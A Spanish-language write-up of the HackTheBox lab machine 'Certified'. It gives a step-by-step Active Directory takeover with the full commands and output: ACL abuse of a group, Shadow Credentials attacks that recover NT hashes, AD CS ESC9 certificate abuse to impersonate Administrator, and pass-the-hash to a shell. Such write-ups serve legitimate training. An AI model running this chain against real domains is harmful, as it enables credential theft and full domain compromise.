Certified – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Certified’ Avatar


Resumen Link to heading

“Certified” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina empieza con credenciales previamente dadas para un entorno Active Directory. Este primer usuario dado tiene los privilegios de agregarse a sí mismo a un grupo. Luego de agregarnos a nosotros mismos a este grupo, somos capaces de performar un ataque de Shadow credentials sobre un segundo usuario; lo que nos permite extraer su hash NT. Este segundo usuario también puede performar un ataque de Shadow Credentials sobre un tercer usuario; del cual también extraemos su hash. Este tercer usuario tiene permiso de agregar certificados; lo cual nos permite escalar en el dominio mediante una explotación de ESC9 a través del servicio AD CS, que nos permite impersonar al usuario Administrador en el dominio.


User / Usuario Link to heading

Información
Para esta máquina se nos dan credenciales al comenzar: judith.mader:judith09

Empezando con un escaneo con Nmap muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 SMB (SMB), entre otros:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,9389,49666,49668,49669,49670,49677,49704,49728,54245 10.10.11.41

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 16:01 -03
Nmap scan report for 10.10.11.41
Host is up (0.46s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-07 02:02:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-07T02:03:40+00:00; +7h00m05s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-07T02:03:39+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49728/tcp open  msrpc         Microsoft Windows RPC
54245/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-11-07T02:03:00
|_  start_date: N/A
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 108.14 seconds

Del output podemos ver que estamos ante un entorno Active Directory.

Empezamos un reconocimiento contra estos servicio usando la herramienta enum4linux-ng (la cual puede ser descargada desde su repositorio de Github) usando las credenciales dadas:

❯ python3 enum4linux-ng.py 10.10.11.41 -u 'judith.mader' -p 'judith09'

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.41
[*] Username ......... 'judith.mader'
[*] Random Username .. 'mailkriu'
[*] Password ......... 'judith09'
[*] Timeout .......... 5 second(s)

 ===================================
|    Service Scan on 10.10.11.41    |
 ===================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    Domain Information via LDAP for 10.10.11.41    |
 ===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: certified.htb
<SNIP>

Del output podemos ver mucha información acerca de usuarios y carpetas compartidas. Vamos a revisarlas.

Usamos NetExec para revisar los recursos compartidos mediante SMB:

❯ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09'

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09

❯ nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09
SMB         10.10.11.41     445    DC01             [*] Enumerated shares
SMB         10.10.11.41     445    DC01             Share           Permissions     Remark
SMB         10.10.11.41     445    DC01             -----           -----------     ------
SMB         10.10.11.41     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    DC01             C$                              Default share
SMB         10.10.11.41     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.41     445    DC01             SYSVOL          READ            Logon server share

Pero no vemos nada interesante fuera de carpetas compartidas por defecto. Una información útil del output es que estamos ante una máquina llamada DC01 y un dominio llamado certified.htb.

Agregamos el dominio certified.htb y el FQDN dc01.certified.htb a nuestro archivo /etc/hosts:

❯ echo '10.10.11.41 certified.htb dc01.certified.htb' | sudo tee -a /etc/hosts

Enumeremos usuarios. Para ello podemos usar el servicio Microsoft RPC junto con la herramienta rpcclient:

❯ rpcclient -U 'judith.mader%judith09' 10.10.11.41 -c 'enumdomusers'

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]

Podemos guardar todos los usuarios ejecutando el oneliner:

❯ rpcclient -U 'judith.mader%judith09' 10.10.11.41 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > users.txt

Intentamos ejecutar algunos ataques como AS-REP Roasting para extraer hashes potencialmente crackeables, pero no parece funcionar.

Extraemos entonces información acerca del dominio. Para ello utilizamos la herramienta bloodhound-python:

❯ bloodhound-python -c ALL -u 'judith.mader' -p 'judith09' -d 'certified.htb' -ns 10.10.11.41 --zip

INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 53S

Esto generará un archivo .zip basados en la fecha donde ejecutamos el comando.

Luego, subimos el archivo .zip a Bloodhound (Community Edition), buscamos por el usuario judith.mader y, al lado derecho, clickeamos en Outbound Object Control. Podemos ver la relación:

Certified 1

tenemos el permiso WriteOwner sobre el grupo Management. Basados en la información de Bloodhound esto significa:

The user JUDITH.MADER@CERTIFIED.HTB has the ability to modify the owner of the group MANAGEMENT@CERTIFIED.HTB. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object’s DACL.

En corto, podemos hacernos dueños del grupo.

Siguiendo la sugerencia de Bloodhound, podemos usar owneredit.py de Impacket para agregarnos a nosotros mismos (el usuario judith.mader) como dueños del grupo Management. Usamos esta herramienta:

❯ impacket-owneredit -action write -new-owner 'judith.mader' -target 'Management' 'CERTIFIED.HTB'/'judith.mader':'judith09' -dc-ip 10.10.11.41

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Ya siendo dueños del grupo, podemos darnos a nosotros mismos el permiso de agregar nuevos usuarios a este grupo usando la herramienta dacledit.py de Impacket:

❯ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target 'Management' 'certified.htb'/'judith.mader':'judith09'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20241106-231945.bak
[*] DACL modified successfully!

Y, por último, agregarnos a nosotros mismos al grupo Management. Para ello podemos ejecutar:

❯ net rpc group addmem "Management" "judith.mader" -U "certified.htb/judith.mader%judith09" -S "CERTIFIED.HTB"
Nota
Cada cierto tiempo se ejecuta una tarea reestableciendo los grupos de los usuarios a sus grupos/estados originales. Por ende, si alguno de los últimos comandos falla, debemos de ejecutar toda la cadena de comandos desde owneredit.py para asegurarnos de que nada falle.

De vuelta a Bloodhound podemos ver que el grupo Management tiene permisos sobre un usuario management service, o management_svc. El grupo Management (el grupo del cual somos dueños y nos hermos agregado como miembros) tiene el permiso GenericWrite sobre este usuario:

Certified 2

Dado que tenemos el permiso GenericWrite, trataremos de performar un ataque Shadow Credentials usando la herramienta PyWhisker.

Advertencia
El permiso GenericWrite también nos permite cambiar la contraseña del usuario management_svc. No obstante, en entornos reales, nunca se recomienda cambiar la contraseña de un usuario; en especial si es una cuenta de servicio (“service account”) dado que podríamos interrumpir un servicio importante en producción. Siempre intentar evadir ese camino de ser posible.

Primero, clonamos PyWhisker desde su repositorio de Github. Usaremos una vieja versión/commit de éste dado que los nuevos presentan algunos problemas. Instalamos todas las librerías necesarias dentro de un entorno virtual de Python. Para hacer todo esto, ejecutamos en una terminal:

❯ git clone https://github.com/ShutdownRepo/pywhisker.git

<SNIP>

❯ cd pywhisker

❯ git checkout ec30ba5

<SNIP>

❯ python3 -m venv .venv_pywhisker

❯ source .venv_pywhisker/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

Una vez instalado, usamos PyWhisker usando las credenciales dadas:

❯ python3 pywhisker.py -d "certified.htb" --dc-ip 10.10.11.41 -u 'judith.mader' -p 'judith09' --target 'management_svc' --action 'add'

[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 4d475211-0da2-f5fb-43b8-8b150fece8ae
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: DflSdFss.pfx
[*] Must be used with password: wutdyJINWfZFFnIbrAXK
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Obtenemos un nuevo certificado (archivo .pfx) y su contraseña. Guardamos esta contraseña dado que la necesitaremos luego.

Tal cual indica el output de la herramienta, ahora usaremos la suite PKINITtools. La clonamos desde su repositorio de Github e instalamos todas sus dependencias en un entorno virtual de Python nuevamente. Luego, ejecutamos gettgtpkinit.py (donde, además, sincronizamos los relojes de nuestra máquina de atacante con la máquina víctima usando el comando ntpdate <target-ip> para evadir errores con el servicio Kerberos) dando como argumentos el archivo .pfx y su contraseña:

❯ cp ../pywhisker/DflSdFss.pfx ./management_svc_cert.pfx

❯ sudo ntpdate -s 10.10.11.41 && python3 gettgtpkinit.py -cert-pfx management_svc_cert.pfx -pfx-pass 'wutdyJINWfZFFnIbrAXK' -dc-ip 10.10.11.41 CERTIFIED.HTB/management_svc management_svc.ccache

2024-11-07 06:40:22,900 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-07 06:40:22,942 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-06 23:40:40,545 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-06 23:40:40,546 minikerberos INFO     c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40
INFO:minikerberos:c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40
2024-11-06 23:40:40,554 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
Nota
Si el comando anterior, o cualquier comando en el futuro, retorna el error KRB_AP_ERR_SKEW(Clock skew too great) simplemente lo ejecutamos de nuevo (incluyendo sudo ntpdate) hasta que funcione.

Esto genera un archivo .ccache. También necesitaremos la key de este archivo (la cual, del output, empieza con c4ff9d...) dado que el archivo .ccache está encriptado y aquella key sirve para desencriptar este archivo.

Luego, usamos getnthash.py de PKINITtools junto con el archivo .ccache generado y su key para solicitar el hash NT del usuario management_svc (junto con ntpdate)

❯ sudo ntpdate -s 10.10.11.41 && KRB5CCNAME=management_svc.ccache python3 getnthash.py certified.htb/management_svc -key c4ff9d4eaa8bac3f6341f6ec3e13cc75fa2273a3bcfe46e78bef882986ec7d40

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

Obtenemos un hash NT para el usuario management_svc.

Podemos revisar si este hash funciona usando la herramienta NetExec:

❯ nxc smb 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584

Funciona. Podemos continuar.

Revisando qué es lo que puede realizar este nuevo usuario en Bloodhound vemos que éste tiene el permiso GenericAll sobre el usuario ca_operator:

Certified 3

Dado que tenemos el permiso GenericAll sobre el usuario ca_operator, podríamos obtener el hash NT de este último usuario a través de, nuevamente, un ataque Shadow Credentials (o cambiar su contraseña; pero, de nuevo, nunca se recomienda).

Para esto repetimos exactamente los mismos pasos que realizamos para obtener el hash del usuario management_svc, pero esta vez usamos el hash NT del usuario management_svc para autenticarnos y así obtener el hash NT del usuario ca_operator:

❯ python3 pywhisker.py -d 'certified.htb' --dc-ip 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' --target 'ca_operator' --action 'add'

[*] Searching for the target account
[*] Target user found: CN=operator ca,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 3f4c8b8c-45e5-68fe-e125-fd01cfdb2e7b
[*] Updating the msDS-KeyCredentialLink attribute of ca_operator
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: HBghrLqS.pfx
[*] Must be used with password: Po0RwcFU2wUrmWy9q7JO
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

Obtenemos el archivo .ccache encriptado y su key:

❯ sudo ntpdate -s 10.10.11.41 && python3 gettgtpkinit.py -cert-pfx ca_operator_cert.pfx -pfx-pass 'Po0RwcFU2wUrmWy9q7JO' -dc-ip 10.10.11.41 CERTIFIED.HTB/ca_operator ca_operator.ccache

2024-11-07 07:06:40,817 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-07 07:06:40,854 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-07 00:07:10,720 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-07 00:07:10,720 minikerberos INFO     3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af
INFO:minikerberos:3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af
2024-11-07 00:07:10,726 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

Y solicitamos el hash NT del usuario ca_operator:

❯ sudo ntpdate -s 10.10.11.41 && KRB5CCNAME=ca_operator.ccache python3 getnthash.py certified.htb/ca_operator -key 3a6c32fdfb44fb3d6dacd043d45f5e6f125a269841f419bb8acf5e0b80fc67af

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
b4b86f45c6018f1b664f70805f45d8f2

Obtenemos así el hash NT del usuario ca_operator.

Revisamos, de nuevo, si este hash es correcto mediante NetExec:

❯ nxc smb 10.10.11.41 -u 'ca_operator' -H 'b4b86f45c6018f1b664f70805f45d8f2'

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2

Es correcto.

Dado que el nombre de la cuenta ca_operator es Operator CA asumo que su nombre nos dice que este usuario tiene algo que ver con el servicio Active Directory Certificate Services (AD CS). Para identificar si este usuario puede ejecutar alguna acción mediante AD CS, usamos la herramienta Certipy (descargable desde aquí) y su módulo/comando find para encontrar certificados potencialmente vulnerables:

❯ certipy find -username ca_operator@certified.htb -hashes 'b4b86f45c6018f1b664f70805f45d8f2' -dc-ip 10.10.11.41 -vulnerable -enabled

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved BloodHound data to '20241107001328_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241107001328_Certipy.txt'
[*] Saved JSON output to '20241107001328_Certipy.json'

Esto genera como output 2 archivos; un archivo .txt y otro .json.

Chequeando el archivo .txt vemos si hemos encontrado certificados potencialmente vulnerables, lo cual retorna:

❯ cat 20241107001328_Certipy.txt | grep -E 'CA Name|Template Name|ESC'

    CA Name                             : certified-DC01-CA
    Template Name                       : CertifiedAuthentication
      ESC9                              : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Obtenemos la escalada de dominio ESC9 para un certificado llamado CertifiedAuthentication. Podemos revisar cómo abusar los distintos tipos de escalada de dominio desde la documentación de Certipy. Allí, se explica que Certipy no está explícitamente relacionado a la escalada ESC9; no obstante, éste redirige a un blog donde se explica cómo usar Certipy para performar esta escalada de dominio.

La condición para esta escalada es que requerimos 2 cuentas: una cuenta A la cual tiene el permiso GenericWrite sobre una cuenta B la cual tiene permitido inscribir certificados. En nuestro caso en específico, A es nuestro usuario management_svc el cual tiene el permiso GenericAll -que a su vez incluye el permiso GenericWrite- sobre la cuenta ca_operator, la cual tiene la capacidad de inscribir certificados (que es el usuario B). Por lo que, afortunadamente, cumplimos las condiciones para intentar esta escalada de dominio.

Siguiendo los pasos del blog, dado que ya tenemos los hashes NT para ambos usuarios (management_svc y ca_operator), podemos cambiar el userPrincipalName (o upn) de ca_operator para ser Administrator (sin incluir el dominio @certified.htb):

❯ sudo ntpdate -s 10.10.11.41 && certipy account update -username management_svc@certified.htb -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'Administrator'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'

Subsecuentemente, performamos la escalada ESC9. Solicitamos el certificado como ca_operator, donde los parámetros -ca y -template los extraemos del output cuando leímos el archivo .txt generado por Certipy:

❯ sudo ntpdate -s 10.10.11.41 && certipy req -username ca_operator@certified.htb -hashes ':b4b86f45c6018f1b664f70805f45d8f2' -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -key-size 2048 -dc-ip 10.10.11.41

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Notemos que obtenemos el mensaje Certificate has no object SID y el upn es Administrator, lo cual es una buena señal.

Restauramos el upn del usuario ca_operator a su valor original:

❯ sudo ntpdate -s 10.10.11.41 && certipy account update -username management_svc@certified.htb -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user 'ca_operator' -upn 'ca_operator@certified.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Y, finalmente, solicitamos el hash NTLM del usuario Administrator (luego de muchos errores KRB_AP_ERR_SKEW(Clock skew too great) después):

❯ sudo ntpdate -s 10.10.11.41 && certipy auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Funcionó.

Podemos usar este hash para realizar un Pass The Hash y ganar acceso a la máquina víctima mediante la herramienta wmiexec.py de Impacket:

❯ impacket-wmiexec administrator@dc01.certified.htb -hashes :0d5b49608bbce1751f708748f67e2d34

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

certified\administrator

GG. Podemos leer la flag de usuario en el Desktop del usuario manager_svc y la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.